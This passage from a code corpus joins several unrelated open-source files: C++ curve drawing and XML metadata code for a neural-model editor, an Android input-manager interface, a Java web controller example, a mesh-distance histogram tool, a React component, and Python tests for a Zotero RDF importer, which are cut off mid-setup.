genericInput::genericInput(NineMLComponentData * src, NineMLComponentData * dst, bool projInput) {
this->type = inputObject;
this->src = src;
this->dst = dst;
this->source = src->owner;
this->destination = dst->owner;
this->projInput = projInput;
// for reinserting on undo / redo
srcPos = -1;
dstPos = -1;
// avoid projInputs being selectable at 0,0
this->start = QPoint(-1000000, -1000000);
this->selectedControlPoint.ind = -1;
this->selectedControlPoint.start = false;
this->connectionType = new onetoOne_connection;
// add to src and dst lists
connect();
// add curves if we are not a projection input
if (!projInput)
addCurves();
// make sure we sort out the ports!
dst->matchPorts();
isVisualised = false;
}
void genericInput::connect() {
// connect can be called multiple times due to the nature of Undo
for (uint i = 0; i < dst->inputs.size(); ++i) {
if (dst->inputs[i] == this) {
// already there - give up
return;
}
}
for (uint i = 0; i < src->outputs.size(); ++i) {
if (src->outputs[i] == this) {
// already there - give up
return;
}
}
//if (srcPos == -1 && dstPos == -1) {
dst->inputs.push_back(this);
src->outputs.push_back(this);
/*}
else
{
dst->inputs.insert(dst->inputs.begin()+dstPos, this);
src->outputs.insert(src->outputs.begin()+srcPos, this);
}*/
}
void genericInput::disconnect() {
for (uint i = 0; i < dst->inputs.size(); ++i) {
if (dst->inputs[i] == this) {
dst->inputs.erase(dst->inputs.begin()+i);
dstPos = i;
}
}
for (uint i = 0; i < src->outputs.size(); ++i) {
if (src->outputs[i] == this) {
src->outputs.erase(src->outputs.begin()+i);
srcPos = i;
}
}
}
genericInput::~genericInput()
{
//disconnect();
/*if (this->projInput)
qDebug() << "Projection Input Deleted";
else
qDebug() << "Generic Input Deleted";*/
delete this->connectionType;
}
QString genericInput::getName() {
return "input";
}
void genericInput::remove(rootData * data) {
// remove from experiment
for (uint j = 0; j < data->experiments.size(); ++j) {
data->experiments[j]->purgeBadPointer(this);
}
delete this;
}
void genericInput::delAll(rootData *) {
// remove references so we don't get deleted twice
this->disconnect();
}
void genericInput::draw(QPainter *painter, float GLscale, float viewX, float viewY, int width, int height, QImage, drawStyle style) {
// setup for drawing curves
this->setupTrans(GLscale, viewX, viewY, width, height);
if (this->curves.size() > 0) {
QColor colour;
QPen oldPen = painter->pen();
QPointF start;
QPointF end;
switch (style) {
case spikeSourceDrawStyle:
case microcircuitDrawStyle:
{
colour = QColor(0,255,0,255);
if (source != NULL) {
if (source->type == projectionObject) {
projection * s = (projection *) source;
if (s->curves.size() > 0 && s->destination != NULL) {
QLineF temp = QLineF(QPointF(s->destination->x, s->destination->y), s->curves.back().C2);
temp.setLength(0.6);
start = temp.p2();
} else {
// eek!
start = QPointF(0.0,0.0);
}
} else if (source->type == populationObject) {
population * s = (population *) source;
QLineF temp = QLineF(QPointF(s->x, s->y), this->curves.front().C1);
temp.setLength(0.6);
start = temp.p2();
}
}
else
start = this->start;
if (destination != NULL) {
if (destination->type == projectionObject) {
projection * d = (projection *) destination;
if (d->curves.size() > 0 && d->destination != NULL) {
QLineF temp = QLineF(QPointF(d->destination->x, d->destination->y), d->curves.back().C2);
temp.setLength(0.55);
end = temp.p2();
} else {
// eek!
start = QPointF(0.0,0.0);
}
} else if (destination->type == populationObject) {
population * d = (population *) destination;
QLineF temp = QLineF(QPointF(d->x, d->y), this->curves.back().C2);
temp.setLength(0.55);
end = temp.p2();
}
}
else
end = this->curves.back().end;
// set pen width
QPen pen2 = painter->pen();
pen2.setWidthF((pen2.widthF()+1.0)*GLscale/100.0);
pen2.setColor(colour);
painter->setPen(pen2);
QPainterPath path;
path.moveTo(this->transformPoint(start));
for (unsigned int i = 0; i < this->curves.size(); ++i) {
if (this->curves.size()-1 == i)
path.cubicTo(this->transformPoint(this->curves[i].C1), this->transformPoint(this->curves[i].C2), this->transformPoint(end));
else
path.cubicTo(this->transformPoint(this->curves[i].C1), this->transformPoint(this->curves[i].C2), this->transformPoint(this->curves[i].end));
}
// draw start and end markers
QPolygonF arrow_head;
QPainterPath endPoint;
//calculate arrow head polygon
QPointF end_point = path.pointAtPercent(1.0);
QPointF temp_end_point = path.pointAtPercent(0.995);
QLineF line = QLineF(end_point, temp_end_point).unitVector();
QLineF line2 = QLineF(line.p2(), line.p1());
line2.setLength(line2.length()+0.05*GLscale/2.0);
end_point = line2.p2();
line.setLength(0.1*GLscale/2.0);
QPointF t = line.p2() - line.p1();
QLineF normal = line.normalVector();
normal.setLength(normal.length()*0.8);
QPointF a1 = normal.p2() + t;
normal.setLength(-normal.length());
QPointF a2 = normal.p2() + t;
arrow_head.clear();
arrow_head << end_point << a1 << a2 << end_point;
endPoint.addPolygon(arrow_head);
painter->fillPath(endPoint, colour);
// DRAW
painter->drawPath(path);
painter->setPen(oldPen);
break;
}
case layersDrawStyle:
return;
case standardDrawStyle:
{
start = this->start;
end = this->curves.back().end;
// draw end marker
QPainterPath endPoint;
if (this->type == projectionObject) {
endPoint.addEllipse(this->transformPoint(this->curves.back().end),4,4);
painter->drawPath(endPoint);
painter->fillPath(endPoint, QColor(0,0,255,255));
}
else {
endPoint.addEllipse(this->transformPoint(this->curves.back().end),2,2);
painter->drawPath(endPoint);
painter->fillPath(endPoint, QColor(0,210,0,255));
}
QPainterPath path;
// start curve drawing
path.moveTo(this->transformPoint(start));
// draw curves
for (unsigned int i = 0; i < this->curves.size(); ++i) {
if (this->curves.size()-1 == i)
path.cubicTo(this->transformPoint(this->curves[i].C1), this->transformPoint(this->curves[i].C2), this->transformPoint(end));
else
path.cubicTo(this->transformPoint(this->curves[i].C1), this->transformPoint(this->curves[i].C2), this->transformPoint(this->curves[i].end));
}
// only draw number of synapses for Projections
if (this->type == projectionObject) {
QPen pen = painter->pen();
QVector<qreal> dash;
dash.push_back(4);
for (uint syn = 1; syn < this->synapses.size(); ++syn) {
dash.push_back(2.0);
dash.push_back(1.0);
}
if (synapses.size() > 1) {
dash.push_back(2.0);
dash.push_back(1.0);
dash.push_back(2.0);
pen.setWidthF((pen.widthF()+1.0) * 1.5);
} else {
dash.push_back(0.0);
}
dash.push_back(100000.0);
dash.push_back(0.0);
pen.setDashPattern(dash);
painter->setPen(pen);
}
// DRAW
painter->drawPath(path);
painter->setPen(oldPen);
break;
}
}
}
}
void genericInput::addCurves() {
// add curves for drawing:
bezierCurve newCurve;
newCurve.end = dst->owner->currentLocation();
this->start = src->owner->currentLocation();
newCurve.C1 = 0.5*(dst->owner->currentLocation()+src->owner->currentLocation());
newCurve.C2 = 0.5*(dst->owner->currentLocation()+src->owner->currentLocation());
this->curves.push_back(newCurve);
if (this->source->type == populationObject) {
bool handled = false;
// if we are from a population to a projection and the pop is the Synapse of the proj, handle differently for aesthetics
if (this->destination->type == projectionObject) {
if (((projection *) this->destination)->destination == (population *) this->source) {
handled = true;
QLineF line;
line.setP1(this->source->currentLocation());
line.setP2(this->destination->currentLocation());
line = line.unitVector();
line.setLength(1.6);
this->curves.back().C2 = line.p2();
line.setAngle(line.angle()+30.0);
QPointF boxEdge = this->findBoxEdge((population *) this->source, line.p2().x(), line.p2().y());
this->start = boxEdge;
this->curves.back().C1 = line.p2();
}
}
if (!handled) {
QPointF boxEdge = this->findBoxEdge((population *) this->source, dst->owner->currentLocation().x(), dst->owner->currentLocation().y());
this->start = boxEdge;
}
}
if (this->destination->type == populationObject) {
QPointF boxEdge = this->findBoxEdge((population *) this->destination, src->owner->currentLocation().x(), src->owner->currentLocation().y());
this->curves.back().end = boxEdge;
}
// self connection population aesthetics
if (this->destination == this->source && this->destination->type == populationObject) {
QPointF boxEdge = this->findBoxEdge((population *) this->destination, this->destination->currentLocation().x(), 1000000.0);
this->curves.back().end = boxEdge;
boxEdge = this->findBoxEdge((population *) this->source, 1000000.0, 1000000.0);
this->start = boxEdge;
this->curves.back().C1 = QPointF(this->destination->currentLocation().x()+1.0, this->destination->currentLocation().y()+1.0);
this->curves.back().C2 = QPointF(this->destination->currentLocation().x(), this->destination->currentLocation().y()+1.4);
}
// self projection connection aesthetics
if (this->destination->type == projectionObject && this->source->type == projectionObject && this->destination == this->source) {
QLineF line;
line.setP1(this->source->currentLocation());
line.setP2(((projection *) this->destination)->curves.back().C2);
line = line.unitVector();
line.setLength(1.6);
line.setAngle(line.angle()+20.0);
this->curves.back().C2 = line.p2();
line.setAngle(line.angle()+70.0);
this->curves.back().C1 = line.p2();
}
}
void genericInput::animate(systemObject * movingObj, QPointF delta) {
if (this->curves.size() > 0) {
// if we are a self connection we get moved twice, so only move half as much each time
if (!(this->destination == (systemObject *)0)) {
if (this->source->getName() == this->destination->getName()) {
delta = delta / 2;
}
}
// source is moving
if (movingObj->getName() == this->source->getName()) {
this->start = this->start + delta;
this->curves.front().C1 = this->curves.front().C1 + delta;
}
// if destination is set:
if (!(this->destination == (systemObject *)0)) {
// destination is moving
if (movingObj->getName() == this->destination->getName()) {
this->curves.back().end = this->curves.back().end + delta;
this->curves.back().C2 = this->curves.back().C2 + delta;
}
}
}
}
void genericInput::moveSelectedControlPoint(float xGL, float yGL) {
// convert to QPointF
QPointF cursor(xGL, yGL);
// move start
if (this->selectedControlPoint.start) {
// work out closest point on edge of source object
if (source->type == projectionObject)
return;
if (source->type == populationObject) {
QLineF line(QPointF(((population *)this->source)->x, ((population *)this->source)->y), cursor);
QLineF nextLine = line.unitVector();
nextLine.setLength(1000.0);
QPointF point = nextLine.p2();
QPointF boxEdge = findBoxEdge(((population *)this->source), point.x(), point.y());
// realign the handle
QLineF handle(QPointF(((population *)this->source)->x, ((population *)this->source)->y), this->curves.front().C1);
handle.setAngle(nextLine.angle());
this->curves.front().C1 = handle.p2();
// move the point
this->start = boxEdge;
}
return;
}
// move other controls
else if (this->selectedControlPoint.ind != -1) {
// move end point
if (this->selectedControlPoint.ind == (int) this->curves.size()-1 && (this->selectedControlPoint.type == p_end)) {
if (destination->type == projectionObject)
return;
if (source->type == populationObject) {
// work out closest point on edge of destination population
QLineF line(QPointF(((population *)this->destination)->x, ((population *)this->destination)->y), cursor);
QLineF nextLine = line.unitVector();
nextLine.setLength(1000.0);
QPointF point = nextLine.p2();
QPointF boxEdge = findBoxEdge(((population *)this->destination), point.x(), point.y());
// realign the handle
QLineF handle(QPointF(((population *)this->destination)->x, ((population *)this->destination)->y), this->curves.back().C2);
handle.setAngle(nextLine.angle());
this->curves.back().C2 = handle.p2();
// move the point
this->curves.back().end = boxEdge;
}
return;
}
// move other points
switch (this->selectedControlPoint.type) {
case C1:
this->curves[this->selectedControlPoint.ind].C1 = cursor;
break;
case C2:
this->curves[this->selectedControlPoint.ind].C2 = cursor;
break;
case p_end:
// move control points either side as well
this->curves[this->selectedControlPoint.ind+1].C1 = cursor - (this->curves[this->selectedControlPoint.ind].end - this->curves[this->selectedControlPoint.ind+1].C1);
this->curves[this->selectedControlPoint.ind].C2 = cursor - (this->curves[this->selectedControlPoint.ind].end - this->curves[this->selectedControlPoint.ind].C2);
this->curves[this->selectedControlPoint.ind].end = cursor;
break;
default:
break;
}
}
}
void genericInput::write_model_meta_xml(QDomDocument &meta, QDomElement &root) {
// if we are a projection specific input, skip this
if (this->projInput) return;
// write a new element for this projection:
QDomElement col = meta.createElement( "genericInput" );
root.appendChild(col);
// uniquely identify the input
col.setAttribute("source", this->src->getXMLName());
col.setAttribute("destination", this->dst->getXMLName());
col.setAttribute("srcPort", this->srcPort);
col.setAttribute("dstPort", this->dstPort);
// start position
QDomElement start = meta.createElement( "start" );
col.appendChild(start);
start.setAttribute("x", this->start.x());
start.setAttribute("y", this->start.y());
// bezierCurves
QDomElement curves = meta.createElement( "curves" );
col.appendChild(curves);
for (unsigned int i = 0; i < this->curves.size(); ++i) {
QDomElement curve = meta.createElement( "curve" );
QDomElement C1 = meta.createElement( "C1" );
C1.setAttribute("xpos", this->curves[i].C1.x());
C1.setAttribute("ypos", this->curves[i].C1.y());
curve.appendChild(C1);
QDomElement C2 = meta.createElement( "C2" );
C2.setAttribute("xpos", this->curves[i].C2.x());
C2.setAttribute("ypos", this->curves[i].C2.y());
curve.appendChild(C2);
QDomElement end = meta.createElement( "end" );
end.setAttribute("xpos", this->curves[i].end.x());
end.setAttribute("ypos", this->curves[i].end.y());
curve.appendChild(end);
curves.appendChild(curve);
}
}
void genericInput::read_meta_data(QDomDocument * meta) {
// skip if a special input for a projection
if (this->projInput) return;
// now load the metadata for the projection:
QDomNode metaNode = meta->documentElement().firstChild();
while(!metaNode.isNull()) {
if (metaNode.toElement().attribute("source", "") == this->src->getXMLName() && metaNode.toElement().attribute("destination", "") == this->dst->getXMLName() \
&& metaNode.toElement().attribute("srcPort", "") == this->srcPort && metaNode.toElement().attribute("dstPort", "") == this->dstPort) {
QDomNode metaData = metaNode.toElement().firstChild();
while (!metaData.isNull()) {
if (metaData.toElement().tagName() == "start") {
this->start = QPointF(metaData.toElement().attribute("x","").toFloat(), metaData.toElement().attribute("y","").toFloat());
}
// find the curves tag
if (metaData.toElement().tagName() == "curves") {
// add each curve
QDomNodeList edgeNodeList = metaData.toElement().elementsByTagName("curve");
for (unsigned int i = 0; i < (uint) edgeNodeList.count(); ++i) {
QDomNode vals = edgeNodeList.item(i).toElement().firstChild();
bezierCurve newCurve;
while (!vals.isNull()) {
if (vals.toElement().tagName() == "C1") {
newCurve.C1 = QPointF(vals.toElement().attribute("xpos").toFloat(), vals.toElement().attribute("ypos").toFloat());
}
if (vals.toElement().tagName() == "C2") {
newCurve.C2 = QPointF(vals.toElement().attribute("xpos").toFloat(), vals.toElement().attribute("ypos").toFloat());
}
if (vals.toElement().tagName() == "end") {
newCurve.end = QPointF(vals.toElement().attribute("xpos").toFloat(), vals.toElement().attribute("ypos").toFloat());
}
vals = vals.nextSibling();
}
// add the filled out curve to the list
this->curves.push_back(newCurve);
}
}
metaData = metaData.nextSibling();
}
// remove attribute to avoid further match and return
metaNode.toElement().removeAttribute("source");
return;
}
metaNode = metaNode.nextSibling();
}
}
| gpl-3.0 |
mauiaaron/apple2 | Android/app/src/main/java/com/example/inputmanagercompat/InputManagerCompat.java | 4833 | /*
* Copyright (C) 2013 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.example.inputmanagercompat;
import android.content.Context;
import android.os.Build;
import android.os.Handler;
import android.view.InputDevice;
import android.view.MotionEvent;
public interface InputManagerCompat {
/**
* Gets information about the input device with the specified id.
*
* @param id The device id
* @return The input device or null if not found
*/
public InputDevice getInputDevice(int id);
/**
* Gets the ids of all input devices in the system.
*
* @return The input device ids.
*/
public int[] getInputDeviceIds();
/**
* Registers an input device listener to receive notifications about when
* input devices are added, removed or changed.
*
* @param listener The listener to register.
* @param handler The handler on which the listener should be invoked, or
* null if the listener should be invoked on the calling thread's
* looper.
*/
public void registerInputDeviceListener(InputManagerCompat.InputDeviceListener listener,
Handler handler);
/**
* Unregisters an input device listener.
*
* @param listener The listener to unregister.
*/
public void unregisterInputDeviceListener(InputManagerCompat.InputDeviceListener listener);
/*
* The following three calls are to simulate V16 behavior on pre-Jellybean
* devices. If you don't call them, your callback will never be called
* pre-API 16.
*/
/**
* Pass the motion events to the InputManagerCompat. This is used to
* optimize for polling for controllers. If you do not pass these events in,
* polling will cause regular object creation.
*
* @param event the motion event from the app
*/
public void onGenericMotionEvent(MotionEvent event);
/**
* Tell the V9 input manager that it should stop polling for disconnected
* devices. You can call this during onPause in your activity, although you
* might want to call it whenever your game is not active (or whenever you
* don't care about being notified of new input devices)
*/
public void onPause();
/**
* Tell the V9 input manager that it should start polling for disconnected
* devices. You can call this during onResume in your activity, although you
* might want to call it less often (only when the gameplay is actually
* active)
*/
public void onResume();
public interface InputDeviceListener {
/**
* Called whenever the input manager detects that a device has been
* added. This will only be called in the V9 version when a motion event
* is detected.
*
* @param deviceId The id of the input device that was added.
*/
void onInputDeviceAdded(int deviceId);
/**
* Called whenever the properties of an input device have changed since
* they were last queried. This will not be called for the V9 version of
* the API.
*
* @param deviceId The id of the input device that changed.
*/
void onInputDeviceChanged(int deviceId);
/**
* Called whenever the input manager detects that a device has been
* removed. For the V9 version, this can take some time depending on the
* poll rate.
*
* @param deviceId The id of the input device that was removed.
*/
void onInputDeviceRemoved(int deviceId);
}
/**
* Use this to construct a compatible InputManager.
*/
public static class Factory {
/**
* Constructs and returns a compatible InputManger
*
* @param context the Context that will be used to get the system
* service from
* @return a compatible implementation of InputManager
*/
public static InputManagerCompat getInputManager(Context context) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN) {
return new InputManagerV16(context);
} else {
return null;
}
}
}
}
| gpl-3.0 |
Niky4000/UsefulUtils | projects/tutorials-master/tutorials-master/blade/src/main/java/com/baeldung/blade/sample/AttributesExampleController.java | 1273 | package com.baeldung.blade.sample;
import com.blade.mvc.annotation.GetRoute;
import com.blade.mvc.annotation.Path;
import com.blade.mvc.http.Request;
import com.blade.mvc.http.Response;
import com.blade.mvc.http.Session;
@Path
public class AttributesExampleController {
public final static String REQUEST_VALUE = "Some Request value";
public final static String SESSION_VALUE = "1337";
public final static String HEADER = "Some Header";
@GetRoute("/request-attribute-example")
public void getRequestAttribute(Request request, Response response) {
request.attribute("request-val", REQUEST_VALUE);
String requestVal = request.attribute("request-val");
response.text(requestVal);
}
@GetRoute("/session-attribute-example")
public void getSessionAttribute(Request request, Response response) {
Session session = request.session();
session.attribute("session-val", SESSION_VALUE);
String sessionVal = session.attribute("session-val");
response.text(sessionVal);
}
@GetRoute("/header-example")
public void getHeader(Request request, Response response) {
String headerVal = request.header("a-header", HEADER);
response.header("a-header", headerVal);
}
}
| gpl-3.0 |
Tonsty/br07 | src/distance.cc | 5339 | /*
Copyright 2007 Benedict Brown
Princeton University
Compute histgram of distances of range scan points to final mesh
-----
This file is part of tps_alignment.
tps_alignment is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3 as
published by the Free Software Foundation.
tps_alignment is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <assert.h>
#include "XForm.h"
#include "TriMesh.h"
#include "KDtree.h"
using namespace std;
#if 0
#define MAX_KD_DIST (10 * 10)
#define HIST_SIZE 1500
#define HIST_CELL .002
#else
// for sea floor
#define MAX_KD_DIST (5 * 5)
#define HIST_SIZE 250
#define HIST_CELL .004
#endif
// Find closest point to p on segment from v0 to v1
point closest_on_segment(const point &v0, const point &v1, const point &p) {
vec v01 = v1 - v0;
float d = (p - v0) DOT v01;
d /= len2(v01);
if (d < 0.0f)
d = 0.0f;
else if (d > 1.0f)
d = 1.0f;
return v0 + d * v01;
}
// Find closest point to p on face i of mesh
point closest_on_face(const TriMesh *mesh, int i, const point &p) {
const TriMesh::Face &f = mesh->faces[i];
const point &v0 = mesh->vertices[f[0]];
const point &v1 = mesh->vertices[f[1]];
const point &v2 = mesh->vertices[f[2]];
vec a = v1 - v0, b = v2 - v0, p1 = p - v0, n = a CROSS b;
float A[3][3] = { { a[0], b[0], n[0] },
{ a[1], b[1], n[1] },
{ a[2], b[2], n[2] } };
float x[3] = { p1[0], p1[1], p1[2] };
int indx[3];
ludcmp<float, 3>(A, indx);
lubksb<float, 3>(A, indx, x);
if (x[0] >= 0.0f && x[1] >= 0.0f && x[0] + x[1] <= 1.0f)
return v0 + x[0] * a + x[1] * b;
point c01 = closest_on_segment(v0, v1, p);
point c12 = closest_on_segment(v1, v2, p);
point c20 = closest_on_segment(v2, v0, p);
float d01 = dist2(c01, p);
float d12 = dist2(c12, p);
float d20 = dist2(c20, p);
if (d01 < d12) {
if (d01 < d20) return c01; else return c20;
} else {
if (d12 < d20) return c12; else return c20;
}
}
// Find (good approximation to) closest point on mesh to p.
// Finds closest vertex, then checks all faces that touch it.
// If the mesh has no faces, returns the closest vertex
// Returns nearest vertex num, with nearest point in out
// Return < 0 for no match
int closest_pt(const TriMesh *mesh, const KDtree *kd, float mdist, const point &p, point &out) {
// float maxdist2 = sqr(dist(p, mesh->bsphere.center) + mesh->bsphere.r);
const float *match = kd->closest_to_pt(p, mdist);
if (!match) return -1;
int ind = (match - (const float *) &(mesh->vertices[0][0])) / 3;
if (ind < 0 || ind >= (int) mesh->vertices.size()) {
fprintf(stderr, "This can't happen - bogus index\n");
return -1;
}
if (mesh->faces.size() == 0) {
out = mesh->vertices[ind];
return ind;
} else assert(mesh->adjacentfaces.size());
const vector<int> &a = mesh->adjacentfaces[ind];
if (a.empty()) {
fprintf(stderr, "Found match to unconnected point\n");
out = mesh->vertices[ind];
return ind;
}
float closest_dist2 = 3.3e33;
for (unsigned int i = 0; i < a.size(); i++) {
point c1 = closest_on_face(mesh, a[i], p);
float this_dist2 = dist2(c1, p);
if (this_dist2 < closest_dist2) {
closest_dist2 = this_dist2;
out = c1;
}
}
return ind;
}
int main(int argc, char **argv) {
long num_points = 0;
double total_dist = 0.0;
double total_sq_dist = 0.0;
double mean, stddev;
vector<int> hist(HIST_SIZE);
// read in master mesh
TriMesh *mesh = TriMesh::read(argv[1]);
mesh->need_neighbors();
mesh->need_adjacentfaces();
KDtree *kd = new KDtree(mesh->vertices);
while (!feof(stdin)) {
char fname[1024];
scanf(" %s ", fname);
TriMesh *m = TriMesh::read(fname);
for (unsigned int i = 0; i < m->vertices.size(); i++) {
#if 0
const float *p = kd->closest_to_pt(m->vertices[i], MAX_KD_DIST);
if (!p) continue; // skip outliers
int j = (p - (const float *) &mesh->vertices[0]) / 3;
#else
point p;
int j = closest_pt(mesh, kd, MAX_KD_DIST, m->vertices[i], p);
if (j < 0) continue;
#endif
// skip boundary points
if (mesh->neighbors[j].size() != mesh->adjacentfaces[j].size()) continue;
num_points++;
double d2 = dist2(m->vertices[i], mesh->vertices[j]);
double d = sqrt(d2);
total_sq_dist += d2;
total_dist += d;
int bin = (int) (d / HIST_CELL);
if (bin < HIST_SIZE) hist[bin]++;
}
mean = total_dist / num_points;
stddev = sqrt(total_sq_dist / num_points - sqr(mean));
printf("Analyzed %ld points.\nMean: %f StdDev: %f\n", num_points, mean, stddev);
delete m;
}
// write histogram
FILE *h = fopen(argv[2], "w");
for (int i = 0; i < HIST_SIZE; i++)
fprintf(h, "%d\n", hist[i]);
#if 0
mean = total_dist / num_points;
var = sqrt(total_sq_dist / num_points - sqr(mean));
printf("Analyzed %ld points.\nMean: %f StdDev: %f\n", num_points, mean, var);
#endif
return 0;
}
| gpl-3.0 |
dmolin/two-factor-auth | client/components/NotFound.js | 238 | import React from 'react'
const NotFound = ({content = () => null}) => (
<section className="notfound" >
<p className="section section-header">this is not the page you were looking for...</p>
</section>
)
export default NotFound | gpl-3.0 |
diging/jars | cookies/tests/test_import.py | 14911 | import unittest, mock, tempfile, types, os, datetime
from django.db.models.signals import post_save
from rdflib import Graph, Literal, BNode, Namespace, RDF, URIRef
from rdflib.namespace import DC, FOAF, DCTERMS
BIB = Namespace('http://purl.org/net/biblio#')
RSS = Namespace('http://purl.org/rss/1.0/modules/link/')
ZOTERO = Namespace('http://www.zotero.org/namespaces/export#')
from cookies.accession import IngesterFactory, IngestManager
from cookies.tests.mocks import MockFile, MockIngester
from cookies.models import *
from cookies.accession.zotero import ZoteroIngest
from cookies import tasks
from cookies.signals import send_all_files_to_giles
os.environ.setdefault('LOGLEVEL', 'ERROR')
def disconnect_signal(signal, receiver, sender):
disconnect = getattr(signal, 'disconnect')
disconnect(receiver, sender)
def reconnect_signal(signal, receiver, sender):
connect = getattr(signal, 'connect')
connect(receiver, sender=sender)
class TestImport(unittest.TestCase):
def setUp(self):
self.factory = IngesterFactory()
disconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
def test_import_factory(self):
"""
The IngesterFactory should return a wrapped object that supports
iteration. Each iteration should yield a :class:`.Resource` instance.
"""
ingest_class = self.factory.get('cookies.tests.mocks.MockIngester')
mock_file = MockFile()
mock_file.read = mock.MagicMock(name='read')
mock_file.read.return_value = [
{'name': 'Test',},
{'name': 'Test2',},
]
ingester = ingest_class(mock_file)
self.assertIsInstance(ingester, IngestManager)
self.assertIsInstance(ingester.next(), Resource)
self.assertEqual(mock_file.read.call_count, 1)
def tearDown(self):
reconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
class TestHandleBulkWithZotero(unittest.TestCase):
def setUp(self):
disconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
User.objects.get_or_create(username='AnonymousUser')
self.user = User.objects.create(username='Test User')
self.form_data = {
'name': 'A New Collection',
'created_by': self.user,
}
self.file_path = "test_data/TestRDF.rdf"
self.file_name = "TestRDF.rdf"
self.job = UserJob.objects.create(**{
'created_by': self.user,
})
def test_handle_bulk(self):
collection = tasks.handle_bulk(self.file_path, self.form_data, self.file_name, self.job)
self.assertIsInstance(collection, dict)
instance = Collection.objects.get(pk=collection['id'])
self.assertEqual(instance.resourcecontainer_set.count(), 20)
def tearDown(self):
User.objects.all().delete()
ConceptEntity.objects.all().delete()
Resource.objects.all().delete()
Relation.objects.all().delete()
Collection.objects.all().delete()
ContentRelation.objects.all().delete()
reconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
class TestZoteroIngesterWithManager(unittest.TestCase):
def setUp(self):
disconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
self.resource_data = {
'created_by': User.objects.create(username='TestUser')
}
User.objects.get_or_create(username='AnonymousUser')
def test_ingest(self):
factory = IngesterFactory()
ingest_class = factory.get('cookies.accession.zotero.ZoteroIngest')
ingester = ingest_class("test_data/TestRDF.rdf")
ingester.set_resource_defaults(**self.resource_data)
N = 0
for resource in ingester:
self.assertIsInstance(resource, Resource)
N += 1
self.assertEqual(N, 20, "Should create 20 resources from this RDF.")
def tearDown(self):
User.objects.all().delete()
ConceptEntity.objects.all().delete()
Resource.objects.all().delete()
Relation.objects.all().delete()
Collection.objects.all().delete()
ContentRelation.objects.all().delete()
reconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
class TestZoteroIngesterWithManagerZIP(unittest.TestCase):
def setUp(self):
disconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
self.resource_data = {
'created_by': User.objects.create(username='TestUser')
}
User.objects.get_or_create(username='AnonymousUser')
def test_ingest(self):
factory = IngesterFactory()
ingest_class = factory.get('cookies.accession.zotero.ZoteroIngest')
ingester = ingest_class("test_data/TestRDF.zip")
ingester.set_resource_defaults(**self.resource_data)
N = 0
for resource in ingester:
self.assertIsInstance(resource, Resource)
self.assertGreater(resource.content.count(), 0,
"Each resource in this RDF should have some form of content.")
N += 1
self.assertEqual(N, 20, "Should create 20 resources from this RDF.")
def tearDown(self):
User.objects.all().delete()
ConceptEntity.objects.all().delete()
Resource.objects.all().delete()
Relation.objects.all().delete()
reconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
class TestZoteroIngesterRDFOnly(unittest.TestCase):
def test_parse_zotero_rdf(self):
ingester = ZoteroIngest("test_data/TestRDF.rdf")
data = ingester.next()
self.assertIn('name', data)
self.assertIn('entity_type', data)
# import pprint
#
# pprint.pprint(data)
class TestZoteroIngesterWithLinks(unittest.TestCase):
def setUp(self):
disconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
self.location = "http://asdf.com/2/"
self.link = "file:///some/path.pdf"
self.g = Graph()
self.doc = BNode()
self.doc2 = BNode()
self.ident = BNode()
self.g.add((self.doc, DCTERMS.dateSubmitted, Literal("2014-10-30 18:04:59")))
self.g.add((self.doc, ZOTERO.itemType, Literal("attachment")))
self.g.add((self.doc, RDF.type, ZOTERO.Attachment))
self.g.add((self.doc, DC.identifier, self.ident))
self.g.add((self.doc, DC.title, Literal("PubMed Central Link")))
self.g.add((self.doc, RSS.type, Literal("text/html")))
self.g.add((self.ident, RDF.type, DCTERMS.URI))
self.g.add((self.ident, RDF.value, URIRef(self.location)))
self.g.add((self.doc2, RSS.link, Literal(self.link)))
_, self.rdf_path = tempfile.mkstemp(suffix='.rdf')
self.g.serialize(self.rdf_path, encoding='utf-8')
def test_handle_link(self):
ingester = ZoteroIngest(self.rdf_path)
ingester.graph = self.g
predicate, values = ingester.handle_link(RSS.link, self.doc)
values = dict(values)
self.assertIn('url', values)
self.assertEqual(values['url'], self.location,
"The URI of the link target should be interpreted as an URL.")
self.assertIsInstance(values[DCTERMS.dateSubmitted.toPython()],
datetime.datetime,
"dateSubmitted should be recast as a datetime object.")
def test_handle_file(self):
ingester = ZoteroIngest(self.rdf_path)
ingester.graph = self.g
predicate, values = ingester.handle_link(RSS.link, self.doc2)
values = dict(values)
self.assertIn('link', values)
self.assertEqual(values['link'], self.link.replace('file://', ''))
def tearDown(self):
os.remove(self.rdf_path)
reconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
class TestZoteroIngester(unittest.TestCase):
def setUp(self):
disconnect_signal(post_save, send_all_files_to_giles, ContentRelation)
self.test_uri = 'http://the.cool.uri/1'
self.test_doi = '10.123/45678'
self.date = Literal("1991")
_, self.rdf_path = tempfile.mkstemp(suffix='.rdf')
self.g = Graph()
self.doc = BNode()
self.ident = BNode()
self.ident2 = BNode()
self.g.add((self.doc, RDF.type, BIB.Article))
self.g.add((self.doc, DC.date, self.date))
self.g.add((self.doc, DC.title, Literal("A T\xc3\xa9st Title".decode('utf-8'))))
self.g.add((self.doc, RSS.link, Literal(u"http://asdf.com")))
self.g.add((self.doc, DC.identifier, self.ident))
self.g.add((self.ident, RDF.type, DCTERMS.URI))
self.g.add((self.ident, RDF.value, URIRef(self.test_uri)))
